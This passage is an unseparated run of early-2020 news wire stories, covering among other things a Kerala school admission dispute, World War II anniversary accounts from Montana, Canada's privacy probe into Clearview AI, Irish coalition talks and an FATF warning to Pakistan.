said. Naseem runs a catering business after returning from the Gulf. The school management in a release claimed that they sought a letter in writing from the parents to avoid trouble in future. "When school authorities asked why the religion column was left blank, the parents said they were not interested in filling that part. The parents have that right. But most benefits given by the government to school children are based on religion. We just wanted to ensure that the parents take the responsibility in case the student misses out any such benefits in future," the management said. School authorities maintained they never denied admission to any student. The parents are now looking for admission for their son in other schools in Thiruvanathapuram. Ravindranath recently claimed in the state Assembly that over one lakh children in Kerala had left columns relating to caste and religion blank in school admission records during the 2017-18 academic year. In a written reply, he said as many as 1,24,147 children had not filled these columns while enrolling in different classes in government and government-aided schools during the period. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A skull found at the Hillsboro landfill, thought to possibly be human remains, has been determined to be fake. The Oregon State Police Crime Lab tested the skull, found Tuesday, and determined it was decades old and is a medical aid used for educational purposes. When officers saw the skull, said Sgt. Clint Chrz, they said it did look like one of those medical props. But officers werent certain. The skull was made of a bone-looking material and police cordoned off the area and gave it the respect of a crime scene, Chrz said. -- Piper McDaniel; amcdaniel@oregonian.com; 503-221-4307; @piperamcdaniel Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Schools were getting out for the day around western Montana at 4 p.m. on a February day in 1945 when the first American paratrooper jumped from a C-47 some 7,000 miles away. That was the signal for Filipino guerrillas to begin their ground attack on a Japanese internment camp in the Philippines that would quickly liberate more than 2,100 starving civilians, including the family of Margaret Wickes MacDonald of Missoula. Two and a half hours later and 1,500 Pacific Ocean miles to the northwest, the first of two American flags was planted atop Mount Suribachi during vicious fighting on the Japanese island of Iwo Jima with the help of Pvt. Louis Charlo, a young Marine from Evaro. "Everybody was cheering. I didn't see it go up but I saw it flying," Ron Scharfe recalled this week. A 17-year-old Navy coxswain from Chicago, Scharfe said he was helping the beachmaster below direct troop traffic after he was almost killed during the initial assault on Iwo four days earlier. The landing craft Scharfe piloted was hit and he went under. His sternum was split open, his nose was broken and four front teeth were knocked out, but he was lucky. Seventeen of the 36 Marines on board his craft died in the explosion. A second more famous raising of a larger flag on Suribachi followed a few hours later, in early afternoon Friday Japan time and around 8 p.m. on Thursday in Missoula. As Montana slept in the hours after midnight that night, on another continent half a world away, the U.S. Army's fabled 10th Mountain Division secured a ridge high in the snowy Apennines, opening the way to an Allied invasion of the strategic Po River Valley in northern Italy. Orville Bjorge of Hot Springs, 22, wasn't there for the victory but down below in a field hospital. He'd been shot in the right thigh while on patrol three days earlier after he participated in the 10th Mountain's most storied feat, the scaling of 2,000-foot cliffs on Riva Ridge in the dead of night to surprise German troops who didn't believe it possible. Bjorge, who turned 97 last month, lives in Polson these days. He's the only survivor of the 10th Mountain Division Association's Big Sky Chapter still living in Montana. The chapter's descendants association will meet for the final time Saturday at Jakers in Missoula. Feel-good is not the proper term for war stories. Rife as they are with death and destruction, those of Feb. 22 and 23, 1945, are no exceptions. But as 75th anniversaries of the widespread World War II events this weekend suggest, the days of triumph are worthy of tribute. Like angels coming down. That was the sensation 91-year-old John MacDonald said a 16-year-old John MacDonald got when he looked up from morning roll call to see U.S. Army paratroopers fill the sky above the Los Banos prison camp south of Manila. It was shortly before 7 a.m. on Feb. 23, 1945, in the Philippines. First I thought it was bombs, but then the parachutes opened. I could see arms and legs, MacDonald said this week in his home in Missoulas South Hills. MacDonald had spent most of his life in the Philippines where his father, Rev. Kenneth MacDonald, had served for more than 30 years. His mother Margaret was the oldest daughter of William and Helen Wickes, who owned Star Garage on West Front Street in Missoula. John was one of four MacDonald children held captive with their parents in various camps since the summer of 1942. As soon as the first of 136 men from the 11th Airborne jumped, Filipino guerrillas hiding on the ground opened fire on the guard towers. The raid was timed to catch most of the Japanese guards doing morning calisthenics in an open field, wearing only loincloths and sandals. Their guns were locked in an arms stack, close enough to the parachute landing site for the Americans to reach before the enemy did. Rumbling into camp came 60 16-ton amphibious tanks, or amtracs. Theyd traveled in the night through Laguna de Bay, a lake two miles north of camp, to evacuate the prisoners, most of whom were American and British citizens. All were in various stages of starvation and emaciation. MacDonald and his father kept meticulous diaries in their months at Los Banos. The daily recordings were the foundation of a book MacDonald published last year through Stoneydale Press in Stevensville titled A Normal Life: John W. Macdonald, Mish Kid, Prisoner of War. John MacDonalds entry for Feb. 20, three days before the rescue, began: Another murder! Dr. Blair died at about 6 this morning of starvation. His is the eighth death in 7 days. His father wrote of spending all day Thursday hectically pounding the husks off rice called palay, the only food rationed to the camp by Lt. Sadaaki Konishi, the sadistic second-in-command at Los Banos who called himself the strongest white race hater in the army. We all were completely done up when night came, Kenneth MacDonald wrote. When I flopped my head on the pillow about 8.30 the hole in the roof let the light of a brilliant star hit me exactly in the right eye. It was such a wonderful coincidence I immediately said to myself, Another star of Bethlehem, that is a good omen and can only mean our speedy deliverance. Alas, son John came over and investigated and showed that it was the light from the moon which was overhead, the older MacDonald wrote. However I went to sleep feeling that deliverance was near and thanking God for the prospect. Less than 12 hours later, he was in mid-shave when he heard his son holler, Paratroopers! Hundreds of rejoicing prisoners quickly found refuge as the attack on the camp began, then were gladly shooed into the amtracs as the Americans burned their barracks. The raid was an unequivocal success. American officers had a realistic expectancy of rescuing perhaps one-third of the prisoners. But all 2,147 Allied citizens and military internees made it out alive, many on stretchers. Gen. Douglas MacArthur, who commissioned the daring raid, issued a short press release later that day. Nothing could be more satisfying to a soldiers heart than this rescue," he said. "I am deeply grateful. God was certainly with us today. Bruce Henderson, whose 2015 book Rescue At Los Banos is perhaps the best of half a dozen written about the Los Banos raid, started it with a quote by another general. Colin Powell, chairman of the Joint Chiefs of Staff, said in 1993: I doubt that any airborne unit in the world will ever be able to rival the Los Banos prison raid. It is the textbook airborne operation for all ages and all armies. John MacDonald is a soft-spoken man who went on to fly 130 combat missions over Communist lines in Korea, followed by 10 years in B-47 jet bombers during the Cold War before completing a 20-year Air Force career stationed in Japan supporting U.S. troops in Vietnam. He retired to his mothers hometown of Missoula, and is in his 42nd year in the ministry program Spiritual Discovery at prisons in Deer Lodge, Shelby and Walla Walla, Washington. MacDonalds voice still chokes, his eyes still mist, in recounting the miseries at Los Banos. He remembers it all, including the ride to freedom 75 years ago on the slow-moving amtrac across Laguna de Bay. He would be told the following month by a mission doctor in the United States that he was in pretty good shape for a 70-year-old. There were no benches and the 30 evacuees were sitting on the sides of the open vehicle when pursuing Japanese troops began firing. Once we got on the lake we were up watching the planes flying overhead guarding us, he said. His emotions? Hard to believe that it finally happened, he said. We were going on elation, I guess, at that point. As the walls closed in on Japanese troops in the Philippines, they began an extermination process of Filipino guerrillas and their families in the Los Banos area. Henderson reported that in a two-week period starting on Feb. 21, two days before the prison camp raid, an estimated 600 to 700 residents were killed. Koniishi was later caught, tried, and hanged for his atrocities. Even as the MacDonalds were riding the amphibious tank across Laguna de Bay that Friday morning, Pvt. Charlo was part of patrol to reach the top of Mount Suribachi on Iwo Jima. It was just Day 5 of a five-week battle that would be among the fiercest and bloodiest fighting in the Pacific theater. Charlo died heroically on March 2 attempting to rescue a wounded comrade in an area known as the Meat Grinder. When American forces finally prevailed, they counted some 6,800 dead and 26,000 casualties. An estimated 18,000 Japanese lost their lives defending the island. In Italy, Bjorge's 10th Mountain Division did not rest on its laurels after securing Riva Ridge. It took Mount Belvedere on Feb. 20 and Mount della Torracia on Feb. 23, the former at great cost. Nearly 1,000 of the 13,000-soldier division died on those peaks. The 10th Mountain served in World War II combat for just four months but had one of the highest casualty rates of the war. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Federal and provincial regulators are launching an investigation into whether Clearview AI, the company that makes facial recognition technology used by at least four Ontario police forces, breaks Canadian privacy laws. The investigation was initiated in the wake of numerous media reports that have raised questions and concerns about whether the company is collecting and using personal information without consent, according to a joint statement. The probe will be carried out by the privacy commissioners of Canada, Quebec, Alberta and British Columbia, which have jurisdiction over how businesses collect and use citizens private information. In the last week, Toronto police as well as the services in Peel, Halton and Durham regions, have all confirmed to the Star that they used Clearview AI, an app that allows officers to match pictures of unidentified people against what the U.S. company claims is a database of three billion images scraped off the web, including from social media sites. Chiefs at all four police departments have since ordered officers to stop using the app. The OPP and the RCMP would not reveal whether they had also used Clearview AI. In an emailed statement, Tor Ekeland, lawyer for Clearview AI, said the tool only accesses publicly available data from the public internet. The app is is strictly an after-the-fact investigative tool for law enforcement, and is used to solve crimes including murder, rape and child exploitation. Weve received the letter and look forward to a productive dialogue with Canadian officials, Ekelands statement said. Ontarios privacy commissioner said Thursday that he and his counterparts across the country are at the formative stages of creating guidance for use of biometric technologies, including facial recognition. The potential privacy dangers of facial recognition have really come to a head around the Clearview AI application, Brian Beamish told the Star. I think we all understand that there are some legitimate law enforcement uses for biometrics and even facial recognition. But I think we have to be really careful about going down that road. Beamish said he is also writing this week to the Ontario Association of Chiefs of Police, with the message that they should be telling their membership that if theyre using Clearview, they should stop. Independent experts and the privacy watchdogs themselves have argued that their enforcement powers are woefully inadequate for the massive challenges that modern technology represents and in particular, artificial intelligence. One of the things that is important for Canadian authorities to have is some kind of proper monetary penalty that can be put in place to deter the bad guys. We dont have that in Canada, anywhere, British Columbia privacy commissioner Michael McEvoy told the Star on Wednesday. McEvoy noted that the federal privacy commissioner doesnt have the power to issue orders against companies that run afoul of the law. That is, in this day and age, absolutely ludicrous in my opinion, he said. Last April, McEvoy and Canadas privacy commissioner, Daniel Therrien, released the results of an investigation into Facebooks handling of Canadians personal data. They slammed the tech giant for its serious failure to comply with privacy laws. Facebook disputed the findings of the investigation and refused to address the problems the probe identified, according to the federal commissioner. Without order-making powers of its own, Therriens office asked a federal court this month to declare that Facebook had broken the law, and to issue several orders forcing the social media giant to start complying. It is only the first step in what is likely to be a lengthy court proceeding. In a recent speech at the University of Ottawas Centre for Law, Technology and Society, Therrien addressed the insufficiency of the laws his office enforces, saying that for good and for bad, data-driven technologies are a disruptive force, according to a transcript of his remarks. My predecessors and I have for a long time called for reform of privacy laws. This was ignored for an equally long time, I think because privacy is such an abstract concept. Now it has become real. Read more about: Company Announcement No. 820 NOT FOR RELEASE OR DISTRIBUTION IN OR INTO THE UNITED STATES OR ITS TERRITORIES OR IN OR INTO ANY OTHER JURISDICTION IN WHICH SUCH RELEASE OR DISTRIBUTION WOULD BE PROHIBITED BY LAW DSV Panalpina A/S has under its newly established EMTN Programme successfully placed an aggregate principal amount of EUR 500 million senior unsecured notes due 2027 (the Notes). Investor demand for the new issue peaked at more than EUR 3 billion, following a three-day marketing exercise in eight European destinations. Demand came from leading investors in the main European markets. The Notes will be issued 26 February, 2020, at a price of 99.759% and with a fixed coupon of 0.375% per annum and will be listed on Euronext Dublin. Standard & Poors rated the bonds at BBB+, in line with the rating of DSV Panalpina A/S. The net proceeds from the transaction will be applied by DSV Panalpina A/S for general corporate purposes, including refinancing of other indebtedness, while respecting the Groups unchanged long- term capital structure policy. To maintain a robust capital structure, DSV Panalpina A/S expects to be a recurring issuer in the coming years. HSBC, Danske Bank, Nordea and Nykredit have been acting as joint bookrunners on the transaction. Any questions may be addressed to Executive Vice President, Investor Relations, Flemming Ole Nielsen, tel. +45 43 20 33 92. Yours sincerely, DSV Panalpina A/S Attachment Share this article Whatsapp Facebook Twitter Linkedin Andrew MacAskill (Reuters) London, United Kingdom Sat, February 22, 2020 05:05 690 7f440ff09e92db75a02bbad2065e8770 2 People Prince-Harry,Meghan-Markle,Meghan-and-Harry,Royal-Family Free Britain's Prince Harry and his wife Meghan have decided not to use the word "royal" in their branding after they start a new life in Canada following their decision to step back from royal duties. The decision follows weeks of talks between the couple and the British royal family about how they will present themselves to the world in the future. The couple agreed last month with Harry's grandmother, Queen Elizabeth that they would no longer work as royals after their surprise announcement that they wanted to carve out a "progressive new role" which they hope to finance themselves. "It has been agreed that their non-profit organization, when it is announced this Spring, will not be named Sussex Royal Foundation," a spokeswoman for the couple said. "The Duke and Duchess of Sussex do not intend to use SussexRoyal in any territory post Spring 2020." As things stand, Harry and Meghan use the brand extensively. The couple's Instagram account, which has 11.2 million followers, uses the name SussexRoyal, as does a website set up by the couple which they used to declare they were seeking to be more independent. These will now have to be rebranded. They also applied to trademark the phrases Sussex Royal and Sussex Royal Foundation for use on books, stationery, clothing such as pajamas and socks, charity campaigns and the provision of training, sport and social care. The trademark applications that were filed have been removed, the spokeswoman said. The future role of the couple has been subject of intense public scrutiny in Britain. There has been much debate about the extent to which the couple should be able to commercialize the royal brand while living independently, at least partly abroad. Earlier this week, Prince Harry and Meghan announced they will formally step down from their roles as working members of the royal family at the end of March. Harry has spoken of his sadness at being forced to give up his royal duties, saying there was no other option if he and Meghan, an American actress, were to seek an independent future away from stifling media intrusion. Under the arrangement, Harry will remain a prince and the couple will keep their Duke and Duchess of Sussex titles as they begin a new life split between Britain and North America, where they will spend most of their time. European leaders are at loggerheads over how much money to put into the EU's budget for the next seven years, after an all-night meeting in Brussels. Charles Michel, the president of the European Council and who's chairing the talks, has so far failed to convince all member states that his proposal of a 1.094 trillion euro ($1.181 trillion) budget is the best way forward. Ahead of a second day of talks, the Danish Prime Minister Mette Frederiksen told reporters it's unlikely there will be an agreement at the ongoing meeting. She also warned that member states will probably have to be called back to Brussels in order to finalize a plan. The fight over the next EU budget is something of a tradition in Brussels, and highlights divisions and disagreements within the region. - with reporting from Cianan Brennan Negotiating teams are set to ramp up talks to form a government next week with senior ministers, party managers and leaders all weighing into what could take a number of weeks to cobble together a new coalition. While sides from the main parties have already begun bartering over policies and how to fund a programme for government, negotiations are expected to begin in earnest after the Dail failed to nominate a Taoiseach on Thursday night. Fianna Fail's Micheal Martin and Fine Gael's Leo Varadkar will next week meet and discuss the potential of a so-called grand coalition involving their parties. Both sides are remaining tight-lipped about that crunch meeting, even amid speculation of a potential rotating Taoiseach agreement between the two men. Fine Gael have yet to appoint a negotiating team for the talks. Party sources expect leading ministers and senior figures to step into the role, once Mr Varadkar and Mr Martin formally set the basis for talks next week. However, Mr Varadkar will need the mandate of his TDs and senators in Leinster House to appoint a team and start talks in earnest. He is expected to seek this at meeting of the parliamentary party meeting next week. Party sources expect that Finance Minister, Paschal Donohoe; Tanaiste, Simon Coveney; party chairman Martin Heydon; as well as Helen McEntee are likely to be asked to lead the talks for Fine Gael. But no names have been decided as of yet. Varadkar will need the mandate of his TDs and senators in Leinster House to appoint a team and start talks in earnest. Picture: AP Fianna Fails six-strong negotiating team has spokespeople on most of the major portfolios perceived to be in crisis in the country, with the notable omission of Health. Veteran Mayo TD and deputy leader Dara Calleary is the de facto leader and safe hand on the tiller, with Michael McGrath (finance), Barry Cowen (public expenditure), Darragh OBrien (housing),Thomas Byrne (education) and Anne Rabbitte (children) also on the team. Sinn Feins team of four, which was first announced after the election, comprises three high-profile TDs in Pearse Doherty (finance), Eoin O Broin (housing), and Louise OReilly (health), with newly-elected Cavan-Monaghan TD and former MEP, Matt Carthy. The group is also being advised by former leader Gerry Adams, along with prominent, but unelected, party members Martin Lynch, Dawn Doyle, Stephen McGlade, and Ken OConnell. Sinn Fein spokesperson for finance Pearse Doherty is leading goverment formation talks for his party. The Green Party negotiations are modelled on similar coalition bi-lateral talks tactics that have been used in Belgium and Finland, where they are policy-led. Party leader, Eamon Ryan, has already met other sides, but next week will in earnest head up negotiations that will also be overseen by the civil service. These talks will centre on six issues, including housing, climate change and how to fund public services. Mr Ryan is joined on the negotiating team by deputy party leader, Catherine Martin, party chairman and TD, Roderic O'Gorman, and housing spokeswoman, Neasa Hourigan. But party HQ also say that the bi-laterals next week will see all 12 of the Green TDs meeting their counterparts. A key backroom figure for the talks is the Green Party's political manager, Anna Conlon, who took on the head role 15 months ago after working as Mr Ryan's personal assistant in Leinster House. The Financial Action Task Force (FATF) on Friday warned Pakistan it faced the possibility of being added to the watchdogs black list and face greater scrutiny of all transactions in its financial system if it fails to fully implement an action plan to counter terror financing by June. A statement issued by the multilateral watchdogs president, Xiangmin Liu of China, at the conclusion of the FATFs plenary meeting in Paris noted that all deadlines for the 27-point action plan had expired and expressed concerns at Pakistans failure to implement the plan according to agreed timelines. The FATF, which has been repeatedly assessing Pakistans efforts to implement the action plan since the country was placed on the watchdogs grey list in June 2018, said Islamabad has largely addressed only 14 of the 27 action items, with varying levels of progress on the rest of the plan. All deadlines in the action plan have expired. While noting recent and notable improvements, the FATF again expresses concerns given Pakistans failure to complete its action plan in line with the agreed timelines and in light of the [terror financing] risks emanating from the jurisdiction, the statement said. It added: The FATF strongly urges Pakistan to swiftly complete its full action plan by June 2020. Otherwise, should significant and sustainable progress especially in prosecuting and penalising [terror financing] not be made by the next Plenary, the FATF will take action, which could include the FATF calling on its members and urging all jurisdiction to advise their [financial institutions] to give special attention to business relations and transactions with Pakistan. The reference to a call to action for countries to apply counter measures to protect the global financial system from money laundering and terror financing risks is the equivalent of being placed in the black list, which now has only Iran and North Korea. The FATF listed eight specific areas that Pakistan should focus on while implementing its action plan to address strategic deficiencies, including effective implementation of targeted financial sanctions (supported by a comprehensive legal obligation) against all [UN Security Council Resolution] 1267 and 1373 designated terrorists and those acting for or on their behalf, including preventing the raising and moving of funds, identifying and freezing assets (movable and immovable), and prohibiting access to funds and financial services. Among the UN-designated terrorists active on Pakistani soil are Lashkar-e-Taiba founder Hafiz Saeed, who was given a five-and-a-half year prison term in two terror financing cases four days before the FATF meetings began in Paris, Jaish-e-Mohammed chief Masood Azhar and mob boss Dawood Ibrahim. Also among the eights areas listed by the FATF are enforcement against TFS violations including administrative and criminal penalties and provincial and federal authorities cooperating on enforcement cases; ensuring that facilities and services owned by designated person are deprived of resources; application of remedial actions and sanctions in terror financing and money laundering violations; demonstrating that competent authorities are cooperating and taking action against illegal money or value transfer services; demonstrating the implementation of cross-border currency and BNI controls at all ports of entry; demonstrating that law enforcement agencies are identifying and investigating the widest range of terror financing activity and that investigations and prosecutions target designated persons and entities; and demonstrating that prosecutions result in effective, proportionate and dissuasive sanctions. The statement listed risk-based supervision and pursuing domestic and international cooperation to identify cash couriers among the areas where Pakistan has made progress. Unlike the reports issued after plenary meetings during the US presidency of the FATF, which named terror groups such as LeT, JeM, Haqqani Network, Tehrik-e-Taliban Pakistan, Islamic State and al-Qaeda, the latest report didnt go into specifics. There was no immediate response to the FATF report from Indian officials. A person familiar with developments, who declined to be named, said Indian authorities would be satisfied with Pakistans retention on the grey list as it meant the country hadnt been let off. The person added: Pakistan is under considerable pressure to perform with regard to the FATFs parameters. Black-listing is always there, but keep in mind that the moment you black list a country, it is beyond the pale. As long as theyre grey listed, theyre still on the hook. SHARE THIS ARTICLE ON ABOUT THE AUTHOR Rezaul H Laskar Rezaul H Laskar is the Foreign Affairs Editor at Hindustan Times. His interests include movies and music. ...view detail Source: Xinhua| 2020-02-21 23:57:13|Editor: Mu Xuequan Video Player Close SHANGHAI, Feb. 21 (Xinhua) -- Shanghai is cooperating with the other three provincial-level regions of the Yangtze River Delta to guarantee the full-speed resumption of the production of epidemic prevention and control supplies. The Yangtze River Delta, a prosperous region of commerce and manufacturing industries in China, includes Shanghai and the provinces of Jiangsu, Zhejiang and Anhui in this calculation. So far, Shanghai has coordinated the work resumption of 98 local enterprises that support the manufacturers of anti-epidemic materials in the region, Zhang Jianming, deputy director of the Shanghai Municipal Commission of Economy and Informatization, said at a press conference Friday. "A total of 200 supporting enterprises of 38 relevant Shanghai companies in the other three provinces in the region have resumed their operations," Zhang said. To maintain the overall stability of the industrial chain, authorities of the Yangtze River Delta have cooperated closely to ensure the return of employees and smooth transportation of materials. Shanghai has given the green light for freight vehicles to transport freely in the Yangtze River Delta since Feb. 17, to facilitate factories resuming operation and people returning to work amid the epidemic. The Shanghai Municipal Transportation Commission announced that it had issued a special certificate for freight vehicles to travel trans-provincially within the Yangtze River Delta. For those with financial constraints due to the epidemic outbreak, governments across the region have also introduced fiscal subsidies and emergency short-term loans to the manufacturers of epidemic prevention materials. Amid the epidemic, many enterprises in Shanghai have switched to producing materials such as masks and protective clothing to bridge supply gaps, according to Peng Wenhao, deputy director of the Shanghai Municipal Administration for Market Regulation. According to Peng, the administration has adopted a fast approval system for the convenience of these companies. "The companies can submit applications online and staff of the local market regulation bureau will guide them through production processes," Peng said. Four companies in Jinshan District, one of Shanghai's major industrial bases, began producing epidemic prevention materials within 24 hours of receiving approval. Ghani has said that he will build a negotiating team that is inclusive, but the possibility of Abdullah forming a parallel government could severely undermine that effort. Additionally, the formal Afghan military is supported by dozens of armed groups that dont always fall under the governments command and control. Any political upheaval in Kabul could test some of those already weak allegiances. Please register or log in to keep reading. No credit card required! Stay logged in to skip the surveys. A special court here on Friday granted bail to Kapil Wadhawan, chairman and MD of Dewan Housing Finance (DHFL) arrested in connection with a money laundering case also involving the late gangster Iqbal Mirchi. Wadhawan (46) was arrested on January 27 by the Enforcement Directorate under the Prevention of Money Laundering Act (PMLA). According to the ED, Wadhawan was instrumental in laundering of huge amounts of money as part of an illegal deal with Mirchi, who died in 2013 in London. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) HIGHLIFE legend Amakye Dede has advised young musicians to do authentic Ghanaian music to keep our Highlife brand alive. In a recent interview with Graphic Showbiz, Amakye Dede said Ghanaians had allowed Nigerians to take our authentic Highlife sound from us. The only authentic music we have is Highlife but unfortunately it is only a few young musicians who are doing pure Highlife. We have allowed the Nigerians to take that from us and it is not so good for the future of our industry. Get Digital Versions of Graphic Publications by downloading Graphic NewsPlus Here. Also available in the Google Play Store and Apple App Store The likes of Kuami Eugene are doing great when it comes to Highlife music but I wish there were more young artistes taking up the genre, he stated. According to Amakye Dede, there is no way Nigerians should take Highlife music from us when it originated from Ghana. We can tell our own stories through Highlifeand that is what I mostly do on my songs. I try as much as people to make sure Ghanaians can relate to my songs, he said. Amkye Dede said his doors were open to any serious artiste who wants to do Highlife but it will only depend on how respectful the person was. Amakye Dede began his career in 1973 when he joined the Kumapim Royals as a composer and vocalist. This band, led by the late Akwasi Ampofo Agyei (AAA), had hits such as Abebi Bewua Eso, Wanware Me A, Odo Mani Agyina, Ohohoo Batani. He formed his own band, the Apollo High Kings, in 1980. He dominated the Highlife scene in the 1980s and 1990s and has continued to have hit songs in the 21st century. He has headlined so many concerts locally and internationally. Source: graphic showbiz Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Joe Biden has attacked Democratic frontrunner Bernie Sanders for voting for immoral legislation that granted immunity to gun manufacturers. Speaking at a gun violence event in Las Vegas, site of the deadliest mass shooting in modern US history, he said the Vermont senator and others had handed the industry one of the most egregious special interest giveaways. Its just flat out immoral, he said. Too many Republicans voted for that bill, and some Democrats too, including Bernie Sanders. He added: Anyone should be able to walk into a court of law and demand that gun manufacturers, with their their enormous profits, be held accountable for the enormous carnage they inflict. Mr Biden, 77, was speaking about the 2005 2005 Protection of Lawful Commerce in Arms Act, which has enabled gun manufacturers to avoid prosecution when crimes have been committed with their products. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters Recently, families who lost children in the 2012 Sandy Hook shooting, won what could be a significant legal victory when a court in Connecticut ruled that a lawsuit against Remington, the manufacturer of the weapon used, could be sued. Mr Biden also attacked Mr Sanders for failing to support on five occasions the Brady Bill, the 1994 measure that permits background checks. Mr Sanders supported the immunity measure as a congressman, but has since said he had changed his mind. He said politicians who opposed opposed gun control cowards but would not respond to questions whether he thought Mr Sanders was a coward. He also would not comment on whether he considered Mr Sanders previous views to be immoral. Jill Biden intercepts heckler at Joe Biden Rally Asked in he accepted Mr Sanders claim that he had changed his mind, he said: I do think hes changed his views and Im happy about that. The Associated Press said that Mr Bidens comments, made at the Desert Breeze Community Centre in the company of gun regulation activists and people who had lost loved ones, came as his campaign released a web video of the Vermont senator telling a radio caller after the 2012 Sandy Hook massacre that allowing people to sue gun manufacturers would do no good. Mr Biden noted that 100 people lost their lives to gun violence every day im the United States, a total of 150,000 since 2005. He pointed out the deadliest tool place in the city where he was speaking the October 2017 shooting at the Route 91 Harvest music festival on the Las Vegas Strip that 58 people and wounded more than 400. Among those supporting Mr Bidens bid for the presidency was Stephanie Pizzoferrato, from Las Vegsas, whose four-old daughter, Dayla, was killed by a stray biullet in 2011. She remembered taking the decision to turn off life support the day after her child was fatally struck, and nurses handing her the braids of her childs hair. I know what it means to lose a loved one and I am doing everything I can to enact gun safety legislation, she said. Barack Obama said said congresss failure to pass meaningful gun reform after Sandy Hook had been shameful. Mr Biden, who said Donald Trump and the Republican leadership was owned by the NRA, said he would act swiftly if elected. Ive looked in the eyes of too many parents whove lost their children to gun violence, he said. Ive looked in the eyes of brave young people whove survived school shootings. I promised them and I promise all of you, I will never never give up this fight. Seven children aged six months to 19 years old were left fatherless after their dad was locked up for unpaid fines. Father-of-seven Rocky Loo, 41, had outstanding fines of $3,599 when he was randomly checked by ticket inspectors on a train in Perth, WA last week. Mr Loo has extreme anxiety and failed to attend a work order to pay off his fines, resulting in him being arrested and jailed in Hakea Prison, according to the SBS. If a person fails to pay off their fines in WA, they can be jailed with a $250-a-day rate to pay off their debt - which means Mr Loo could have faced more than two weeks of imprisonment. Father-of-seven Rocky Loo, 41, had outstanding fines of $3,599 when he was randomly checked by ticket inspectors on a train in Perth, WA last week Mr Loo's ex-partner and mother to his seven children Marianne Mackay only found out he had been jailed in a phone call from Hakea Prison on Friday last week. Ms Mackay said it was difficult to look after all seven children without Mr Loo around. 'It's gonna affect us financially as well as emotionally and physically,' she told the SBS. One of Ms Mackay's sons has his hip bone pushed back due to a born breech caesarean procedure during his birth. On Tuesday, Ms Mackay had to get the son to hospital while also taking the other six children to school and making her car registration payment without Mr Loo's help. Mr Loo with his ex-partner and mother to his seven children Marianne Mackay. Ms Mackay said it was difficult to look after all seven children without Mr Loo around 'The McGowan government made a commitment not to lock anyone up for fines anymore,' Ms Mackay said. Arrest warrants can be issued for people who fail to pay their debts under the Fines, Penalties and Infringement Notices Enforcement Act 1994 (WA). WA Attorney General John Quigley introduced reforms to the act in September last year but they have still not been passed into law. Under the 1994 act, Mr Loo could have spent 14 days in Hakea Prison but served five days in the end. Russian President Vladimir Putin has said he does not lose hope to reach an agreement with Ukrainian President Volodymyr Zelensky on improving relations between the two countries. He said this in an interview with the TASS news agency for the project entitled "20 Questions to Vladimir Putin." "There's always hope [to reach an agreement with Zelensky on peace and friendship]," Putin said. However, he clarified that there are "questions" to Zelensky. "Unfortunately, as you see, after returning from [the Normandy Four summit between Germany, Russia, Ukraine and France on December 9 in] Paris, he [Zelensky] started talking about the necessity to review the Minsk agreements. This begs the question. Nevertheless, we managed to agree on the prisoner swap. We managed to agree on gas," he said. When asked whether friendship with Ukraine was a loss for Russia, Putin said: "Yes." At the same time, he repeated his thesis that "we [Russians and Ukrainians] are the same people." op (Photo : Touched by Health - Wellness Institute, LLC Facebook Page) When people talk about the largest producer of greenhouse gases, most fingers point to China. China's Carbon Emission has reduced greatly because of the coronavirus going viral and halting or at least crippling the manufacturing industry. The shutdown of most functions within the country have become the cause of this unexpected positive environmental effect. Studies have found alarming numbers being reduced The Centre for Research on Energy and Clean Air or CREA has been behind a study that has pointed out that about 100 million metric tons of carbon emissions that come directly from China have been dropped and have stated that this could be because of the Coronavirus halting most of their operations! China is already known to have been 